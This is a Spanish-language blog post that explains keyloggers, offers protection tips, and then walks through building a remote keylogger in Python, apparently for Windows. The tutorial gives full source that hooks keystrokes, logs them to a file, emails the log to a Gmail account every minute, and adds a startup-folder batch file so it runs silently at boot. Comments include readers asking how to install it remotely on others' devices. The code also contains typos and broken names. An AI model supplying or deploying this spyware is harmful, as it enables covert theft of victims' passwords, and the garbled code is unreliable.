Blog
Un keylogger remoto es un software diseñado para grabar las pulsaciones hechas a través del teclado de un ordenador. Con esta aplicación el atacante puede obtener información confidencial como contraseñas sin que la víctima sea consciente de ello.
Durante este post hablaremos acerca del funcionamiento del keylogger y cómo protegernos de su intrusión, pero aquí te enseñamos a como hacer un Keylogger con Python.
Variedades de keylogger
Existen dos tipos de keylogger:
-
A nivel de software.
Es el más común dado la facilidad de instalación en el ordenador de la víctima ya que se instala como complemento de un malware más grande (caballo de troya o rootkit).
De este tipo existen algunos más complejos que otros, dependiendo del objetivo del atacante.
Algunos se instalan en el kernel del sistema y actúan como driver de teclado accediendo a las pulsaciones del mismo, mientras que otros utilizan funciones propias del sistema operativo; en otras palabras interactúan con el sistema operativo haciendo llamadas al sistema a fin de poder registrar las teclas que están siendo presionadas.
Por otro lado, también existen los que almacenan los datos de forma local y los que envían la información recolectada a una PC remota.
-
A nivel de hardware.
Un keylogger a nivel de hardware se trata de un dispositivo que posee un microcontrolador encargado de interpretar el flujo de dato generado a través del teclado, el cual posteriormente procesa y envía a una memoria no volátil similar a una memoria flash
En este caso se instala físicamente en el ordenador de la víctima y comienzan su labor al momento de encenderlo. La ventaja de este para el atacante es que resulta indetectable para el sistema operativo e imperceptible para la víctima.
Ahora bien, cabe destacar que, aunque existen dispositivos que se conectan detrás del ordenador simulando un conector de teclado, también existen otros que por lo general son colocados durante la fabricación o distribución del ordenador, pues se encuentran dentro del teclado e incluso se implantan directo al Bios, reprogramándolo para grabar los eventos del teclado.
¿Es posible detectar su presencia?
Comprobar la existencia de keyloggers remotos a nivel de software puede ser difícil pues están diseñados para comportarse como cualquier otro programa; es decir, a pesar de ser un malware, no busca datos valiosos, no los envían a un servidor de control y comando, tampoco destruyen datos del ordenador ni provocan fallas técnicas.
Ahora bien, en vista de que el software abre el archivo de texto para escribir cada tecla pulsada, esto podría generar un mínimo retraso en algunos ordenadores dependiendo del funcionamiento y uso del CPU.
Por supuesto, dicho retraso, tal vez resulte irrelevante cuando presionamos una sola tecla, pero cuando pulsamos al menos 10 teclas por espacio de 30 segundos se nota como el sistema se congela por un instante y el funcionamiento se torna lento.
Cómo mantener protegido el ordenador
Para proteger el ordenador y la información almacenada, debemos procurar seguir las siguientes sugerencias:
- Mantener el sistema operativo actualizado y el resto de los programas como los navegadores.
- Instalar un buen sistema antispyware que ofrezca solución ante este tipo de malware.
- Habilitar un cortafuego o firewall para prevenir cualquier descarga de archivo.
- Instalar software antikeyloggers, estos poseen una lista de los keyloggers más conocidos y realiza la búsqueda en el ordenador.
- No descargar software gratuito de dudosa procedencia.
- Cambiar las contraseñas con cierta frecuencia. Por ejemplo, cada mes.
- Usar la autenticación de 2 factores que proveen algunos proveedores de servicios online.
- Para tareas diarias utilizar un perfil o usuario de privilegios limitados en el sistema operativo.
- Respaldar los datos constantemente para evitar pérdidas en el caso de que la cuenta se encuentre comprometida.
Programa keylogger hecho en Python
A continuación, presentaremos un ejemplo de un programa keylogger remoto desarrollado con Python. El ejemplo lo presentamos con fines educativos; es decir, para entender su funcionamiento.
Paso 1: Importar librerías
- PyHook, contiene las funciones que capturan los eventos del teclado.
- Pythoncom, forma parte de la librería PyWin32.
- Sys, hace posible el manejo del sistema.
- Loggin, mediante esta librería guardaremos en un archivo los eventos del teclado.
- Time y datatime, manejo del tiempo.
import pyHook import pythoncom import sys import logging import time import datatime
Paso 2: Crear variables
#variable tiempo de espera Wait_seconds = 60 timeout = time.time() + wait_seconds #Variable que guarda la ruta y el nombre del archivo. File_log = ‘C: \\nombreCarpeta\\nombreArchivo.txt’
En la variable File_log guardamosla ruta del archivo que guardará todos los eventos del teclado que sean calculados durante un determinado espacio de tiempo.
Paso 2: Definir funciones
-
Función que compara tiempos
Esta función compara el tiempo actual con el tiempo de espera que hemos establecido, en este caso 60 segundos.
def TimeOut(): if time.time() return True else: return False
Función encargada de enviar el correo electrónico.
En esta función primero importamos el módulo que utiliza el protocolo smtp para el envío de mensajes.
Luego creamos las variables correspondientes según los parámetros establecidos (usuario, contraseña, destinatario, asunto y cuerpo del mensaje).
Lo siguiente será validar si hay más destinatarios a quien enviaremos el correo y el resultado lo guardamos en la variable TO.
En caso de ser así, que el destinatario esté compuesto por más de un correo establecemos un delimitador para escribir el mensaje siguiendo el formato de Gmail.
Por último, intentaremos enviar el correo creando una variable como servidor donde guardaremos la configuración de smtp y enviaremos el parámetro de dominio de Gmail para este protocolo, así como también el puerto que utilizaremos.
Para esto incluimos nuestros datos, usamos el tls para iniciar sesión, enviar el correo y al terminar cerramos la conexión.
def SendEmail(user, pwd, recipient, subject, body): import smtplib gmail_user = user gmail_pass = pwd FROM = user TO = recipient if type(recipient) is list else [recipient] SUBJECT = subject TEXT = body Message = “””\From: %s\nTo: %s\nSubject: %\n\n%s “”” % (FROM, “, “.join(TO), SUBJECT, TEXT) Try: server = smtplib.SMTP (“smtp.gmail.com”, 587) server.ehlo() server.starttls() server.login(gmail_user, gmail_pass) server.sendmail(FROM, TO, message) server.close() print ‘Correo enviado satisfactoriamente’ except: print ‘Error al mandar correo’
No hay que preocuparse por los mensajes que imprimimos, pues solo se muestran en la consola y sirven para comprobar la funcionalidad cuando lo corremos.
Función que proporciona formato al mensaje
En esta parte daremos formato al mensaje, lo adjuntaremos al correo e invocaremos la función que lo enviará.
Para ello, primero debemos abrir el archivo pasando como parámetro la ruta y el nivel de acceso para que sea de lectura y escritura.
Luego, haremos que tome la fecha actual del sistema para incluirlo al correo. Después seleccionamos el archivo y eliminamos todos los saltos de línea y añadimos un mensaje extra concatenando la información requerida.
Por último, enviamos el correo estableciendo los parámetros correspondientes y si deseamos limpiamos los contenidos del archivo local.
def FormatAndSendLogEmail with open(file_log, ‘r+’)as f: actualdate = datetime.datetime.now().strftime(“%Y-%m-%d %H:%M:%S”) data = f.read().replace(‘\n’, ‘’); data = ‘log capturado a las: ‘+ actualdate + ‘\n’ + data SendEmail (‘tucorreo@gmail.com’, ‘tuclave’,’tucorreo@gmail.com’, ‘Nuevo log – ‘ + actualdate,data) f.seek(0) f.truncate()
Función que guarda cada evento del teclado
La función descrita a continuación guarda un evento y lo escribe en el archivo cada vez que es invocada.
En esta ocasión hacemos la configuración mediante la función basicConfig del módulo loggin estableciendo el nivel de operación que necesitemos, en este caso “Debug” y estipulando el formato string puesto que se trata de varios mensajes.
Por su parte, la función log ingresa en el archivo el carácter capturado en el evento del teclado y se establece un nivel 10 que equivale al nivel Debug y finalmente convierte el formato ASCII del evento en un char que la función solicita del parámetro.
def OnKeyboardEvent(evento): logging.basicConfig(filename=file_log, level=logging.DEBUG,format = ‘%(message)s’) logging_log(10, chr(event.Ascii)) return True
Paso 3: Crear gestor que ejecute llamadas
Al iniciare el programa se creará un gestor que ejecutará llamadas para el registro de eventos del teclado. Esta será posible gracias a la función HookManager de Pyhook.
hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard()
Paso 4: Hacer que el programa se ejecute siempre
Para que nuestro keylogger se ejecute sin interrupciones, creamos un ciclo infinito y validamos que cuando se cumpla cierta cantidad de tiempo envíe un correo electrónico.
Al comenzar el programa colocamos la cantidad de tiempo que deseamos que espere antes de enviar un correo, de esta forma mientras que el timeout sea menor al tiempo actual se ejecutará este segmento del código.
While True if TimeOut(): FormatAndSendEmail() Timeout=time.time() + wait_seconds
Paso 5: Ejecutar mensajes y registros en espera
Con la ayuda de la función propia de pythoncom ejecutamos todos los mensajes o registros que están en espera.
Pythoncom.PumpWaitingMessages()
Código Completo
import pyHook import pythoncom import sys import logging import time import datatime #variable tiempo de espera Wait_seconds = 60 timeout = time.time() + wait_seconds #Variable que guarda la ruta y el nombre del archivo. file_log = 'documento.txt' def TimeOut(): if time.time()> timeout: return True else: return False def SendEmail(user, pwd, recipient, subject, body): import smtplib gmail_user = user gmail_pass = pwd FROM = user TO = recipient if type(recipient) is list else [recipient] SUBJECT = subject TEXT = body Message = """\From: %s\nTo: %s\nSubject: %\n\n%s """ % (FROM, ", ".join(TO), SUBJECT, TEXT) try: server = smtplib.SMTP ("smtp.gmail.com", 587) server.ehlo() server.starttls() server.login(gmail_user, gmail_pass) server.sendmail(FROM, TO, message) server.close() print ('Correo enviado satisfactoriamente') except: print ('Error al mandar correo') def FormatAndSendLogEmail(): with open(file_log, 'r+')as f: actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") data = f.read().replace('\n', ''); data = 'log capturado a las: '+ actualdate + '\n' + data SendEmail ('tucorreo@gmail.com', 'tuclave','tucorreo@gmail.com', 'Nuevo log – ' + actualdate,data) f.seek(0) f.truncate() def OnKeyboardEvent(evento): logging.basicConfig(filename=file_log, level=logging.DEBUG,format = '%(message)s') logging_log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() while True: if TimeOut(): FormatAndSendLogEmail() Timeout=time.time() + wait_seconds pythoncom.PumpWaitingMessages()
Paso 5: Ejecución automática
Hasta ahora el programa solo se ejecutará cuando lo indiquemos; pero existen diversas formas para automatizar su funcionamiento.
Una manera sencilla es incluirla en la carpeta inicio de Windows – C:\Users\Nombre de Usuario\AppData\Roaming\Microsoft\Windows\Menú Inicio\Programas.
Para ello, crearemos un archivo .bat con lo siguiente
@echo off #para que se ejecute en silencio timeout /t 30 /nobreak Start “C:\ #Ruta del programa
Ahora cada vez que Windows inicia, el archivo que acabamos de creará cargará el programa keylogger.
Nota: la línea “timeout/t30/nobreak” hace que se ejecute 30 segundos después de iniciar windows, así no forzamos el sistema.
Consideraciones
Cabe destacar que el ejemplo que hemos propuesto está pensado para correos Gmail; por lo tanto, para aplicarlo en otro tipo de correos bastará con investigar el domino smtp y puero correspondiente.
Por otro lado, para que la aplicación funcione correctamente es necesario activar en el explorador la funcionalidad de aplicaciones menos seguras a fin de permitir que aplicaciones terceras envíen correos.
En caso de producirse un error al un dll de los módulos bien sea de pythoncom o pywintypes, debemos copiar:
pywintypes27.dll y pythoncom27.dll ubicados en C:\Python27\Lib\site-packages\pywin32_system32 y pegarlos en C:\Python27\Lib\site_packages\win32\lib
Ahora bien,para aplicarlo en una aplicación APK en c++ Visual studio??
Gracias por escribir! Eso ya lo tienes que hacer tu Ivan.
Cuánto me cobras por instalarme ese programa vía remota a un sistema Android??
Hola Jorge, lo siento pero no realizamos esos trabajos. Gracias por escribir!
Que chido como explicas el código parte por parte :3
Dislcupe. ¿que cambio, si estoy programando un keylogger para un dispositivo celular?
hola,se podra modificar para que se instale via remota?
Muchas Gracias todo esta bien explicado, habia checado en otras paginas pero aqui encontre todas las respuestas a lo que buscaba sobre este tipo de programacion en Python.
hola me interesa mucho este tema, pero al comento de compilar me lanza muchos errores
Hola, muchas gracias por la explicación, pero al momento de llegar el correo aparecen letras raras en otro idioma, qué debo hacer? Saludos